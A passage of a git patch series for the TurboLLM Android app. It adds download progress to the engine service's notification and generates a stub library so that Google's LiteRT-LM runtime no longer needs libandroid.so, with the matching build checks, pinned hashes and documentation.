*/ +internal fun formatSize(bytes: Long): String = + if (bytes >= 1_000_000_000L) String.format(Locale.ROOT, "%.2f GB", bytes / 1e9) + else "${(bytes / 1e6).roundToLong()} MB" + +/** A speed as the same panel writes it (fmtSpeed): "12.3 MB/s" from 1 MB/s up, whole kilobytes below. */ +internal fun formatSpeed(bytesPerSec: Double): String = + if (bytesPerSec >= 1e6) String.format(Locale.ROOT, "%.1f MB/s", bytesPerSec / 1e6) + else "${(bytesPerSec / 1e3).roundToLong()} KB/s" diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index 7374a47..35382e1 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -28,6 +28,8 @@ private const val ACTION_ACTIVITY_FINISHED = "com.turbollm.app.ACTIVITY_FINISHED private const val ACTION_REPOST = "com.turbollm.app.REPOST" private const val EXTRA_ACTIVITY = "com.turbollm.app.ACTIVITY" private const val POLL_MS = 3000L +/** How many polls in a row may fail to read the download list before the notification drops its last progress. */ +private const val DOWNLOAD_MISSES = 3 /** Keeps the daemon and its engine processes running while the app is not on screen. * @@ -50,7 +52,11 @@ class EngineService : Service() { private var thermalListener: PowerManager.OnThermalStatusChangedListener? = null @Volatile private var busy = false @Volatile private var importing = false - @Volatile private var downloading = false + /** What the notification shows while a model download is running or queued (downloadNotice), null while none + * is. Written by the poll, read wherever the notification is built. */ + @Volatile private var download: DownloadNotice? = null + /** Polls in a row that could not read the download list (see pollActivity). Poll thread only. */ + private var downloadMisses = 0 @Volatile private var thermal = 0 /** Set when the app was closed with notifications off: stop as soon as nothing is generating, importing or * downloading (see appClosed). */ @@ -246,14 +252,26 @@ class EngineService : Service() { updateNotification() } // So does a model download (Discover): a stopped service or a sleeping CPU would stall a multi-GB transfer. - val downloading = queryDownloading() + val downloads = queryDownloads() + val downloading = !downloads.isNullOrEmpty() val nowBusy = queryBusy() || importing || downloading // The query can take seconds. Under the lock, so the service being destroyed meanwhile is seen before the // wake lock is re-taken or a removed notification is posted again. synchronized(stateLock) { if (!running) return - if (downloading != this.downloading) { - this.downloading = downloading + // A download's progress changes from one poll to the next, so the notification is posted again + // whenever its download lines would read differently, at the poll's pace (3 s) and quietly + // (setOnlyAlertOnce, setSilent). A poll that could not read the list keeps the last lines up for up + // to DOWNLOAD_MISSES polls in a row (the daemon slow to answer for a moment) instead of flashing + // another state for 3 s. It still counts as idle above, as before, so a daemon that stops answering + // never pins the wake lock. + val download = when { + downloads != null -> downloadNotice(downloads).also { downloadMisses = 0 } + ++downloadMisses <= DOWNLOAD_MISSES -> this.download + else -> null + } + if (download != this.download) { + this.download = download updateNotification() } if (nowBusy != busy) { @@ -307,25 +325,25 @@ class EngineService : Service() { /** True while the daemon has a model download running or queued (GET /api/v1/downloads). Any failure = idle, as * above; a paused or failed download does not count, as nothing is transferring. */ - private fun queryDownloading(): Boolean = try { + private fun queryDownloading(): Boolean = !queryDownloads().isNullOrEmpty() + + /** The daemon's running and queued model downloads (parseLiveDownloads), or null when the list could not be read + * (the daemon still booting, a reply this does not recognise). */ + private fun queryDownloads(): List? = try { val conn = DaemonAuth.open("/api/v1/downloads") conn.connectTimeout = 1000 conn.readTimeout = 2000 try { if (conn.responseCode != 200) { - false + null } else { - val list = JSONObject(conn.inputStream.bufferedReader().use { it.readText() }).optJSONArray("downloads") - (0 until (list?.length() ?: 0)).any { - val status = list?.optJSONObject(it)?.optString("status") - status == "downloading" || status == "queued" - } + parseLiveDownloads(conn.inputStream.bufferedReader().use { it.readText() }) } } finally { conn.disconnect() } } catch (_: Exception) { - false + null } private fun releaseWakeLock() { @@ -353,9 +371,11 @@ class EngineService : Service() { PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT, ) val hot = thermal >= PowerManager.THERMAL_STATUS_SEVERE + // A download names its file (or the count) and shows its progress, unless an import, named first, is running. + val download = this.download?.takeUnless { importing } val text = when { importing -> "Importing models" - downloading -> "Downloading models" + download != null -> download.text hot && busy -> "Generating. The phone is hot, so it is throttling speed" hot -> "Running. The phone is hot, so generation will be slower" busy -> "Generating" @@ -363,7 +383,7 @@ class EngineService : Service() { } return NotificationCompat.Builder(this, CHANNEL_ID) .setSmallIcon(R.drawable.ic_stat_engine) - .setContentTitle("TurboLLM") + .setContentTitle(download?.title ?: "TurboLLM") .setContentText(text) .setOngoing(true) .setOnlyAlertOnce(true) @@ -373,6 +393,9 @@ class EngineService : Service() { .setContentIntent(open) .setDeleteIntent(repost) .addAction(0, "Quit", quit) + .apply { + if (download != null) setProgress(DOWNLOAD_PROGRESS_MAX, download.progress, download.indeterminate) + } .build() } From 2dfeec5dd469e231fc4404cc73226396fadab1a1 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Wed, 21 Oct 2026 15:34:16 +0000 Subject: [PATCH 54/80] fix(litert-lm-server): liblitert-lm.so loads without libandroid.so On the owner's phone no .litertlm model ever loaded. The engine process exited as soon as it started, with: cannot load liblitert-lm.so: .../lib/arm64/liblitert-lm.so: dlopen failed: library "libstagefright.so" not found: needed by /system/lib64/libmediandk.so in namespace (default) liblitert-lm.so, Google's file from the litert-lm-api wheel, lists libandroid.so among its dependencies. It is built for apps, which load it into their own process, where the zygote has already loaded libandroid.so and everything below it. The server is not such a process: the daemon executes it from nativeLibraryDir, and the linker then has to find libandroid.so's whole tree itself (libandroid_runtime, libhwui, the media stack). On that phone it does not find libstagefright.so. The library uses libandroid.so only for APK assets (8 AAssetManager_*/AAsset_* functions), and the server loads models from file paths. Older bug: origin/main has it since feat(engines): ship LiteRT-LM in the app as a native server (f9bd21c), which shipped the library unchanged. The staging script now replaces that dependency, working from the file it ships rather than from a list written for 0.18.0: - scripts/stage-litert-lm-engine.mjs: after the wheel passes its pinned sha256, the script reads the library's DT_NEEDED entries and undefined dynamic symbols. Every dependency outside LOADABLE_LIBS (bionic's, liblog, libz, EGL/GLES/Vulkan/nativewindow) is replaced; today that is libandroid.so alone. Each GLOBAL import that, going by the NDK's stub libraries, only a replaced library provides gets a function in a generated C shim, liblrtandr.so, built with the NDK's clang. If one is called it writes "liblitert-lm.so called (), which libandroid.so provides, but libandroid.so cannot be loaded in the engine process (liblrtandr.so stands in for it); stopping." to stderr and logcat and aborts; none returns a value. The build fails, naming the symbols and the API levels, on a data import, a GLOBAL import nothing provides, a GLOBAL import both a replaced and a loadable library provide, a WEAK one only a replaced library provides, or versioned imports from a replaced library; and if the built shim exports anything else or needs a library outside the list. Those checks run against the stubs of every API level from 24 to the newest the NDK has (35 in NDK 27), so a WEAK import libandroid.so gains some levels before a loadable library does fails the build even though API 24 and 35 agree. The DT_NEEDED string is renamed in place to the shim's name, which has the same length (refused if it is the tail of a longer string or anything else in the file shares those bytes), and the result must match a new pinned patchedSha256 per ABI. A probe executable is then linked against the staged library, the shim and the NDK stubs of its other dependencies with --no-allow-shlib-undefined, so an import nothing provides fails the build with the linker's message. The shim is staged beside the library. Every shim name starts with liblr (the counter that keeps names unique never covers those letters), and the only files the script removes from / are regular files with such a name that this run did not stage: a shim a run for another LiteRT-LM version left behind. Nothing else there is touched, so a manual run with --out composeApp/src/androidMain/jniLibs leaves the llama.cpp engines in it alone. main runs only when the script is executed, so the test can import it. - scripts/stage-litert-lm-engine.test.mjs: new. - composeApp/build.gradle.kts, BUILDING-ENGINES.md, PROVENANCE.md: say what the library ships with, how the shim is generated and checked, and the patched hashes. BUILDING-ENGINES.md's "No device has run it" note, which also said no NDK build had been run, now says what was checked here, and its GPU note says what happens if the GPU does not initialise. WEAK imports get no shim function: the library allows them to be absent. AHardwareBuffer_* are the ones a replaced library also provides: libandroid.so defines them too from API 26, and with it gone they bind to libnativewindow.so's, which libEGL.so needs (both seen on the Android 15 emulator image below). Behaviour change: the APK carries liblrtandr.so (5 KB per ABI) beside the engine, and liblitert-lm.so differs from the wheel's in 7 bytes, that dependency's name. The engine process no longer loads libandroid.so or anything only it needs (on the emulator image below: 45 system libraries mapped instead of 230). A LiteRT-LM bump updates the two patched hashes too; the build prints them once its checks pass. Tests: scripts/stage-litert-lm-engine.test.mjs, 17 tests run with node --test (Node 22 and 18) on synthetic ELF files: "readDynamic reads the DT_NEEDED entries, the dynamic symbols and the version needs", "libandroid.so gets a shim with exactly the functions only it provides", "a new libandroid.so-only import adds a function to the shim", "a library that needs only loadable libraries gets no shim", "a data object only libandroid.so provides fails the build", "a GLOBAL import no library provides fails the build", "a GLOBAL import both libandroid.so and a loadable library provide fails the build", "a WEAK import only libandroid.so provides fails the build; one a loadable library also provides does not", "every API level from minSdk to the newest stubs is checked: a WEAK import libandroid.so gains before a loadable library does fails the build" (on stub directories it writes for API 21-30), "a replaced library imported with symbol versions fails the build", "renameNeeded changes the DT_NEEDED string and nothing else", "renameNeeded refuses a string another reference shares", "renameNeeded refuses a DT_NEEDED entry that is the tail of a longer string", "shim names keep the length of the name they replace and stay unique", "isShimFileName accepts every name shimFileName can produce, and not the libraries beside the shims", "removeStaleShims removes the shims an earlier run staged and nothing else in the directory" (a directory holding files named like the llama.cpp engines) and "the shim source defines each function to report itself and abort". Against the previous script the file fails: it has none of these exports. Each of the API-level, tail-of-a-string, shim-name and stale-shim tests also fails with only its own check undone (comparing only API 24 and the newest level; no check that the name starts its string; a counter that may cover the "lr"; removing every file not staged). No existing test changed. Also checked, by hand: - readelf -d -V --dyn-syms of the wheel's and the patched library, both ABIs: the only difference is NEEDED libandroid.so -> liblrtandr.so. Section and program headers are identical, cmp shows 7 bytes inside .dynstr, and the "libandroid.so" in .rodata next to the NNAPI strings is unchanged. The shim exports exactly the 8 functions, needs liblog, libdl and libc, is 16 KB-aligned and builds byte-identically twice. - Link check, NDK 27 clang/lld, aarch64 and x86_64 at API 24: the probe links with the patched library and the shim; with a shim built without AAsset_getLength it fails with "undefined reference due to --no-allow-shlib-undefined: AAsset_getLength"; the wheel's library with an empty libandroid.so fails on all 8, and with the NDK's libandroid.so stub it links. With libandroid.so left off the line lld skips the check, which is why the probe puts every dependency on it. - The script over fake libraries built with the NDK: one with an extra libandroid.so import (ALooper_forThread) and a libjnigraphics.so one got two shims (liblrtandr.so with 3 functions, liblrtjnigraph.so with AndroidBitmap_getInfo), both renamed, probe linked; a data import (SL_IID_ENGINE from libOpenSLES.so) and an unknown function each stopped the build with a message naming the symbol. - Both ABIs staged with NDK 27 (server, shim, probe), 0 warnings, into directories already holding files named like the llama.cpp engines and a stale liblrtjnigraph.so: that one was removed, the others were kept, and both patched files matched their pins. The shim plan is the same at every level from 24 to 35 on both ABIs; the 7 WEAK AHardwareBuffer_* imports appear in the libandroid.so and the libnativewindow.so stubs at the same level (26, and 29 for AHardwareBuffer_isSupported). - Android userland: the x86_64 Android 15 emulator image (AOSP, API 35) with its system and vendor partitions and APEX payloads extracted without mounting, run under chroot with the image's own linker and a /linkerconfig its linkerconfig generated (a /data executable gets the [system] section). The x86_64 server under /data/app/.../lib/x86_64 loaded both the wheel's and the patched library there and answered the same chat request with the same reply and usage on CPU, using LiteRT-LM's runtime/testdata/test_lm.litertlm; the patched process mapped no libandroid.so, libmediandk.so or libstagefright.so. That image does resolve libandroid.so's tree, so the owner's failure depends on the phone's system image. With libstagefright.so removed from it, the wheel's library failed with the owner's exact message and the patched one still loaded and answered. Calling AAssetManager_open through the patched library printed the shim's line and aborted (SIGABRT). - :composeApp:compileDebugKotlinAndroid passes, and :composeApp:mergeDebugJniLibFolders ran stageLitertLmEngine and put liblrtandr.so beside liblitert-lm.so (patched hash) and liblitertlm_server.so in the merged native libs of both ABIs. A device must still confirm that a .litertlm loads and chats on CPU on the owner's phone. With the GPU backend: whether LiteRT-LM's GPU path initialises from this process at all, since a /data executable's linker namespace searches /system and /system_ext only and a vendor libOpenCL.so may not be found there. A GPU that does not initialise fails the load with the runtime's error, and the app suggests switching the model's Backend to CPU; nothing falls back by itself. Termux is not changed by this: it runs the Python CLI with the wheel's own file. --- BUILDING-ENGINES.md | 85 ++++- PROVENANCE.md | 12 + composeApp/build.gradle.kts | 19 +- scripts/stage-litert-lm-engine.mjs | 464 +++++++++++++++++++++++- scripts/stage-litert-lm-engine.test.mjs | 345 ++++++++++++++++++ 5 files changed, 892 insertions(+), 33 deletions(-) create mode 100644 scripts/stage-litert-lm-engine.test.mjs diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 6be9609..71dbf31 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -227,19 +227,77 @@ Termux users get their best speed from LiteRT-LM, which TurboLLM runs there as `python -m litert_lm_cli.main serve`. The app can't: it has no Python, and it may only execute files that shipped in its APK. But that Python server is a thin layer — every inference call goes through ctypes into **one** native library, `liblitert-lm.so`, the only binary in Google's -`litert-lm-api` wheel. So the app ships that same library unchanged and replaces only the layer -above it: +`litert-lm-api` wheel. So the app ships that same library, with one dependency renamed (see +[libandroid.so and its shim](#libandroidso-and-its-shim)), and replaces only the layer above it: | File (jniLibs/<abi>/) | What it is | Where it comes from | |---|---|---| -| `liblitert-lm.so` | Google's LiteRT-LM runtime (CPU + GPU) | Extracted from the `litert-lm-api` 0.18.0 Android wheel on PyPI, **sha256-pinned** in `scripts/stage-litert-lm-engine.mjs`. Byte-identical to what Termux runs. Apache-2.0. | +| `liblitert-lm.so` | Google's LiteRT-LM runtime (CPU + GPU) | Extracted from the `litert-lm-api` 0.18.0 Android wheel on PyPI, **sha256-pinned** in `scripts/stage-litert-lm-engine.mjs`. The build renames its `libandroid.so` dependency to `liblrtandr.so` (7 bytes of `.dynstr`) and checks the result against a second pinned hash; otherwise byte-identical to what Termux runs. Apache-2.0. | | `liblitertlm_server.so` | Native port of `litert-lm serve` — an executable named like a library so Android installs it | Built from `engines/litert-lm-server/` with the NDK on every build | +| `liblrtandr.so` | Stands in for `libandroid.so`, which the engine process cannot load | Generated from the library's own imports and built with the NDK on every build | -`stageLitertLmEngine` (`composeApp/build.gradle.kts`) does both, then checks each file's ELF +`stageLitertLmEngine` (`composeApp/build.gradle.kts`) does all three, then checks each file's ELF architecture and that every LOAD segment is 16 KB-aligned (the wheel's library already is). Output goes to `composeApp/build/generated/litert-lm/jniLibs/`, never into `src/`. Cost: about 14 MB compressed per ABI. +### libandroid.so and its shim + +`liblitert-lm.so` is built for apps, which load it into their own process, and it lists +`libandroid.so` among its dependencies. The server is not an app process: the daemon executes it +from `nativeLibraryDir`, and in a freshly executed process the linker has to find all of +`libandroid.so`'s dependencies itself (`libandroid_runtime`, `libhwui`, the media stack), which an +app, forked from the zygote, already has loaded. On the owner's phone that failed and no +`.litertlm` ever loaded: + +``` +cannot load liblitert-lm.so: + .../lib/arm64/liblitert-lm.so: dlopen failed: library "libstagefright.so" not found: needed by /system/lib64/libmediandk.so in namespace (default) +``` + +The library uses `libandroid.so` only to read APK assets (`AAssetManager_*`, `AAsset_*`), and the +server loads models from file paths. So `scripts/stage-litert-lm-engine.mjs` replaces that +dependency, working from the library it ships rather than from a list written for one version: + +1. It reads the library's dynamic section: its `DT_NEEDED` entries and every undefined dynamic + symbol with its binding and type. `LOADABLE_LIBS` names the libraries a standalone process can + load (bionic's, `liblog`, `libz`, EGL/GLES/Vulkan/`libnativewindow`); every other `DT_NEEDED` + entry is replaced. Today that is `libandroid.so` alone. +2. Against the NDK's stub libraries, at every API level from the app's minSdk (24) to the newest + the NDK has, it takes the GLOBAL imports only a replaced library provides (today 8 functions: + `AAssetManager_fromJava`, `AAssetManager_open`, `AAssetManager_openDir`, + `AAssetDir_getNextFileName`, `AAssetDir_close`, `AAsset_close`, `AAsset_getBuffer`, + `AAsset_getLength`). The build fails, naming the symbols, if one of them is data rather than a + function, if a GLOBAL import has no provider at all, if a GLOBAL import comes from both a + replaced and a loadable library, if a WEAK one comes only from a replaced library, or if a + replaced library's imports carry symbol versions, at any of those levels: a WEAK import that + `libandroid.so` gained some levels before `libnativewindow.so` did would be unresolved on the + devices in between, even though the minSdk and the newest stubs agree. +3. It writes a C shim per replaced library into the build directory and builds it with the NDK's + clang: one function per import, each of which, if it is ever called, writes + `liblitert-lm.so called (), which libandroid.so provides, but libandroid.so cannot be + loaded in the engine process (liblrtandr.so stands in for it); stopping.` to stderr (which the + daemon shows when the engine exits) and to logcat, then calls `abort()`. None returns a value. + The shim's file name has the replaced name's length, fits `lib*.so` and starts with `liblr`; + the build checks that it exports exactly those functions and needs only loadable libraries. A + shim an earlier run staged and this one does not is removed; nothing else in the output + directory is touched, so pointing `--out` at `composeApp/src/androidMain/jniLibs` by hand + leaves the llama.cpp engines there alone. +4. It renames the `DT_NEEDED` string in place (refusing if it is the tail of a longer string or + if any symbol, version entry or other dynamic tag shares its bytes; the second copy of + `libandroid.so` in `.rodata`, next to TFLite's NNAPI strings, is left alone) and checks the + file against `patchedSha256`. +5. It links a probe executable against the staged library, the shim and the NDK stubs of the + library's other dependencies with `-Wl,--no-allow-shlib-undefined`, so a GLOBAL import nothing + in the library's dependency list provides fails the build with the linker's own message. + +WEAK imports get no shim function: the library allows them to be absent. `AHardwareBuffer_*` is +the case that matters: `libandroid.so` defines those too from API 26, and with it gone they bind to +`libnativewindow.so`'s, which `libEGL.so` needs (checked on the Android 15 emulator image). + +`node --test scripts/stage-litert-lm-engine.test.mjs` covers the reading, the checks, the rename, +the naming and the removal of stale shims on synthetic ELF files. + ### What the server is, and why it is shaped this way `engines/litert-lm-server/src/main.cc` is a translation of the Python serve modules @@ -279,7 +337,9 @@ system Vulkan/OpenCL/GL libraries. ### Bumping LiteRT-LM Change `LITERT_LM_VERSION` and both wheel hashes in `scripts/stage-litert-lm-engine.mjs` -(PyPI publishes them at `https://pypi.org/pypi/litert-lm-api//json`), refresh +(PyPI publishes them at `https://pypi.org/pypi/litert-lm-api//json`), then both +`patchedSha256` values: the build stops with the new hash once the shim, its checks and the link +probe have passed, and a changed list of shimmed functions is worth a look. Refresh `engines/litert-lm-server/third_party/litert_lm/c/*.h` from the matching `google-ai-edge/LiteRT-LM` tag, and check that every function listed in `src/litert_lm_api.h` still exists — the server refuses to start, naming the missing ones, if @@ -287,11 +347,18 @@ it doesn't. ### Not yet verified -- **No device has run it.** The NDK cross-compile itself was not run while writing it (no NDK - was available); the first `assembleDebug` is that check. The code uses only POSIX/bionic - APIs available at API 24. +- **No phone has run it successfully.** On the owner's phone the wheel's library failed to load, + which is why it now has [a shim](#libandroidso-and-its-shim); no phone has run the patched one + yet. The patched library was run in a chroot of the x86_64 Android 15 emulator image's system + and vendor partitions, with that image's linker and its generated `/linkerconfig`: it loads + and answers a chat request on CPU, and still does with `libstagefright.so` removed from the + image, where the unpatched one fails with the owner's message. The code uses only + POSIX/bionic APIs available at API 24. - GPU speed versus Termux on the same phone, and whether every GPU path (OpenCL, WebGPU/Vulkan) - loads from an app-spawned process the way it does from Termux. + loads from an app-spawned process the way it does from Termux. The linker namespace of a + `/data` executable searches `/system` and `/system_ext` only, so a vendor `libOpenCL.so` may + not be found. A GPU that cannot be initialised fails the load with the runtime's error (there + is no automatic fallback); the app then suggests switching the model's Backend to CPU. --- diff --git a/PROVENANCE.md b/PROVENANCE.md index b2b4d7d..ea3186f 100644 --- a/PROVENANCE.md +++ b/PROVENANCE.md @@ -44,6 +44,18 @@ Not vendored: `scripts/stage-litert-lm-engine.mjs` fetches it at build time from The extracted arm64 `liblitert-lm.so` (39.9 MB, sha256 `3d591b09…dfd9`) is byte-identical to the one the Termux path installs. License: Apache-2.0 (google-ai-edge/LiteRT-LM). +The APK carries it with one change. The engine process cannot load `libandroid.so`, so the script +renames that `DT_NEEDED` entry in place to `liblrtandr.so` (7 bytes of `.dynstr`; nothing else +differs, the `readelf -d -V --dyn-syms` output only in that line) and ships `liblrtandr.so`, a shim +it generates from the library's imports and builds with the NDK: each of its functions aborts with +a message if called (BUILDING-ENGINES.md, "libandroid.so and its shim"). The patched file is +pinned as well, and the build refuses any other result: + +| ABI | SHA-256 (`liblitert-lm.so` from the wheel) | SHA-256 (as shipped) | +|---|---|---| +| arm64-v8a | `3d591b09116e7be3ab6b2b5b1a27bb3079dda0eb66550271533e6aee19e2dfd9` | `ae7e50538d9298e113686bc2ac07ebf33aac1325e6e3cbff299a1024a1b16d6a` | +| x86_64 | `cc8fdef43d1900234d3bebecd29b3610a7b09c62e0a3b3cdb08499e4b8e8e4c7` | `681f770323d7021ca47a0481ae49744699d80a62c79f759cd1ce443e21becb22` | + Vendored in `engines/litert-lm-server/third_party/`: LiteRT-LM's C API headers from tag `v0.18.0` (`c/engine.h`, `c/conversation.h`, `c/error_reporter.h`, `c/api_export.h`; Apache-2.0, LICENSE alongside) and nlohmann/json 3.11.3 (`json.hpp`, sha256 `9bea4c80…3ea6`; MIT, diff --git a/composeApp/build.gradle.kts b/composeApp/build.gradle.kts index 89b385c..27fd2cf 100644 --- a/composeApp/build.gradle.kts +++ b/composeApp/build.gradle.kts @@ -96,7 +96,8 @@ val shipLitertLmEngine: Boolean = // never disagree about which engine builds exist. val shippedAbis = listOf("arm64-v8a", "x86_64") -// Where stageLitertLmEngine puts /{liblitert-lm.so, liblitertlm_server.so}. +// Where stageLitertLmEngine puts /{liblitert-lm.so, liblitertlm_server.so} and the shim that +// stands in for libandroid.so (liblrtandr.so). jniLibs packages everything in it. val litertLmJniLibs = layout.buildDirectory.dir("generated/litert-lm/jniLibs") val uploadStoreFile: File? = localProp("TURBOLLM_UPLOAD_STORE_FILE") @@ -472,11 +473,15 @@ if (shipVulkanEngine) { // ── The LiteRT-LM engine ────────────────────────────────────────────────────────────────── // -// Two files per ABI: liblitert-lm.so — Google's runtime, the same file the litert-lm-api wheel -// installs under Termux, fetched from PyPI against a pinned sha256 — and liblitertlm_server.so, +// Three files per ABI: liblitert-lm.so — Google's runtime, the file the litert-lm-api wheel +// installs under Termux, fetched from PyPI against a pinned sha256, with its libandroid.so +// dependency renamed because the engine process cannot load that library —, liblitertlm_server.so, // the native OpenAI-compatible server in engines/litert-lm-server that replaces the Python -// `litert-lm serve` the app cannot run. scripts/stage-litert-lm-engine.mjs does both, then checks -// each file's ELF architecture and 16 KB alignment. See BUILDING-ENGINES.md, "The LiteRT-LM engine". +// `litert-lm serve` the app cannot run, and liblrtandr.so, the shim generated from the library's +// imports to stand in for libandroid.so. scripts/stage-litert-lm-engine.mjs does all three, checks +// each file's ELF architecture and 16 KB alignment and the patched library's pinned sha256, and +// links a probe against the result so an import nothing provides fails the build. See +// BUILDING-ENGINES.md, "The LiteRT-LM engine". // // The NDK is the one AGP itself resolves for native-lib, and CMake is the SDK copy that // externalNativeBuild above pins, so this needs nothing a plain `assembleDebug` didn't already. @@ -485,7 +490,7 @@ if (shipVulkanEngine) { // incrementally, so a repeat run costs about a second. val stageLitertLmEngine by tasks.registering(Exec::class) { group = "build" - description = "Fetches liblitert-lm.so and builds liblitertlm_server.so into the APK's jniLibs." + description = "Fetches liblitert-lm.so and builds liblitertlm_server.so and its libandroid.so shim into the APK's jniLibs." workingDir = rootProject.projectDir // BaseExtension resolves both from local.properties / ANDROID_HOME and the pinned ndkVersion. (The // androidComponents.sdkComponents providers carry no value at execution time in AGP 8.7.) @@ -514,6 +519,8 @@ if (shipLitertLmEngine) { // Same reasoning as the daemon payload check: an APK that silently lacks the engine it was // built for is worse than a failed build. Only the APK/AAB tasks themselves: AGP also has // bundle*ClassesToJar and assemble*UnitTest, which run without merging native libs at all. + // The shim is not listed: its name comes from the library, and the staging run that writes + // liblitert-lm.so fails unless the shim it links against is staged beside it. val packagingTask = Regex("^(assemble|bundle)(Debug|Release)?$") tasks.matching { packagingTask.matches(it.name) }.configureEach { doLast { diff --git a/scripts/stage-litert-lm-engine.mjs b/scripts/stage-litert-lm-engine.mjs index 8efa079..09e97ed 100644 --- a/scripts/stage-litert-lm-engine.mjs +++ b/scripts/stage-litert-lm-engine.mjs @@ -5,44 +5,64 @@ // Why it is built like this: on desktop and under Termux, TurboLLM runs LiteRT-LM as // `python -m litert_lm_cli.main serve`, and that Python server reaches the runtime through ctypes // into liblitert-lm.so — the one native library in Google's `litert-lm-api` wheel. The app has no -// Python and may only execute files installed with its APK, so it ships that same library unchanged -// and replaces the Python layer with a native one. Nothing here is recompiled from Google's sources: -// the library is the exact file Termux users run, taken from the pinned PyPI wheel and checked -// against the hash below. +// Python and may only execute files installed with its APK, so it ships that same library and +// replaces the Python layer with a native one. Nothing here is recompiled from Google's sources: +// the library is the file Termux users run, taken from the pinned PyPI wheel and checked against +// the hash below, with one change. Its dependency on libandroid.so, which the engine process +// cannot load, is renamed to a shim generated from the library itself (see "The engine process +// cannot load libandroid.so" below), and the patched file is pinned as well. // -// Output: //{liblitert-lm.so, liblitertlm_server.so}, which build.gradle.kts adds to the -// APK's jniLibs. Both names fit the lib*.so pattern Android requires before it will install a file -// into nativeLibraryDir — the only place an app may execute from (BUILDING-ENGINES.md). +// Output: //{liblitert-lm.so, liblitertlm_server.so, } (the shim is liblrtandr.so +// today), which build.gradle.kts adds to the APK's jniLibs. Every name fits the lib*.so pattern +// Android requires before it will install a file into nativeLibraryDir — the only place an app may +// execute from (BUILDING-ENGINES.md). In / the script writes those files and removes +// only shims an earlier run staged that this one does not (regular files named liblr*.so that +// shimFileName could have produced); it leaves everything else there alone, so may also hold +// other libraries, such as the llama.cpp engines in composeApp/src/androidMain/jniLibs. It does +// overwrite a file of its own names. The build directories (cmake-, shim-) and, unless +// --cache says otherwise, the wheel cache (cache) go in /.. . // // Usage (Gradle runs this; see stageLitertLmEngine in composeApp/build.gradle.kts): // node scripts/stage-litert-lm-engine.mjs --ndk --out [--abis arm64-v8a,x86_64] -// [--cmake ] [--ninja ] +// [--cmake ] [--ninja ] [--cache ] import { createHash } from 'node:crypto' import { execFileSync } from 'node:child_process' -import { copyFileSync, existsSync, mkdirSync, readFileSync, renameSync, statSync, writeFileSync } from 'node:fs' +import { + copyFileSync, existsSync, lstatSync, mkdirSync, readFileSync, readdirSync, realpathSync, renameSync, rmSync, statSync, + writeFileSync, +} from 'node:fs' import { dirname, join, resolve } from 'node:path' import { fileURLToPath } from 'node:url' import { inflateRawSync } from 'node:zlib' // ── Pinned runtime ─────────────────────────────────────────────────────────────────────── -// Bumping LiteRT-LM = change the version and both hashes together (PyPI lists them under -// https://pypi.org/pypi/litert-lm-api//json, "digests.sha256"), then rebuild. The server -// talks to the library through its C API, so check c/engine.h and c/conversation.h for changes -// to the functions listed in engines/litert-lm-server/src/litert_lm_api.h. +// Bumping LiteRT-LM = change the version and all four hashes together, then rebuild: each wheel's +// (PyPI lists them under https://pypi.org/pypi/litert-lm-api//json, "digests.sha256") +// and each patched library's (the build stops and prints the new one, after its checks below +// have passed). The server talks to the library through its C API, so check c/engine.h and +// c/conversation.h for changes to the functions listed in engines/litert-lm-server/src/litert_lm_api.h. export const LITERT_LM_VERSION = '0.18.0' const WHEELS = { 'arm64-v8a': { file: `litert_lm_api-${LITERT_LM_VERSION}-py3-none-android_23_arm64_v8a.whl`, sha256: 'a045af401dc199c35b1f44c29e8899cecbf2712a8194c9e35489ab5e2a95d47d', + // liblitert-lm.so after the DT_NEEDED rename below; nothing else in it differs from the wheel's. + patchedSha256: 'ae7e50538d9298e113686bc2ac07ebf33aac1325e6e3cbff299a1024a1b16d6a', elfMachine: 0xb7, // EM_AARCH64 + triple: 'aarch64-linux-android', }, x86_64: { file: `litert_lm_api-${LITERT_LM_VERSION}-py3-none-android_23_x86_64.whl`, sha256: 'db5268c5eb8e60f5a7cdecea310f8084426ae174fdbe8efe2991c47f54d74889', + patchedSha256: '681f770323d7021ca47a0481ae49744699d80a62c79f759cd1ce443e21becb22', elfMachine: 0x3e, // EM_X86_64 + triple: 'x86_64-linux-android', }, } const LIB_IN_WHEEL = 'litert_lm/liblitert-lm.so' +// The app's minSdk. The server and the shims are built for it, and the NDK's stub libraries for +// it say what every supported device provides; the library itself is built for API 23. +const MIN_SDK = 24 const appRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..') const serverSrc = join(appRoot, 'engines', 'litert-lm-server') @@ -159,6 +179,380 @@ function checkElf(path, machine) { } } +// ── The engine process cannot load libandroid.so ───────────────────────────────────────── +// liblitert-lm.so is built to be loaded by an app into its own process, and it lists +// libandroid.so among its dependencies. The server is not an app process: the daemon executes it +// from nativeLibraryDir, and in a freshly executed process the linker has to find libandroid.so's +// whole dependency tree itself (libandroid_runtime, libhwui, the media stack), which an app, +// forked from the zygote, already has loaded. On the owner's phone that failed, so no .litertlm +// ever loaded: +// dlopen failed: library "libstagefright.so" not found: needed by /system/lib64/libmediandk.so +// in namespace (default) +// The library uses libandroid.so only to read APK assets (AAssetManager_*, AAsset_*), which the +// server never asks for: it loads models from file paths. So the build replaces that dependency, +// working from the file it ships rather than from a list written for one LiteRT-LM version: +// - LOADABLE_LIBS names the libraries a standalone process can load. Every other DT_NEEDED entry +// is replaced. +// - Each GLOBAL import that, going by the NDK's stub libraries, only a replaced library provides +// gets a function in a generated shim that, if it is ever called, names itself on stderr and in +// logcat and aborts. It never returns a value it would have to make up. WEAK imports, which +// the library allows to be absent, get none; those a replaced library provides must also come +// from a loadable one (AHardwareBuffer_*, which libandroid.so also defines from API 26, now +// bind to libnativewindow.so's, which libEGL.so needs). The build fails, naming the symbols, if +// a shimmed import is data rather than a function, if a GLOBAL import has no provider at all, +// if a GLOBAL import comes from both a replaced and a loadable library (it would bind +// elsewhere), or if a WEAK one comes only from a replaced library (it would be left unresolved). +// Each of those is checked at every API level from minSdk to the newest the NDK has stubs for, +// since a device of any of them may run the app. +// - The DT_NEEDED string is renamed in place to the shim's 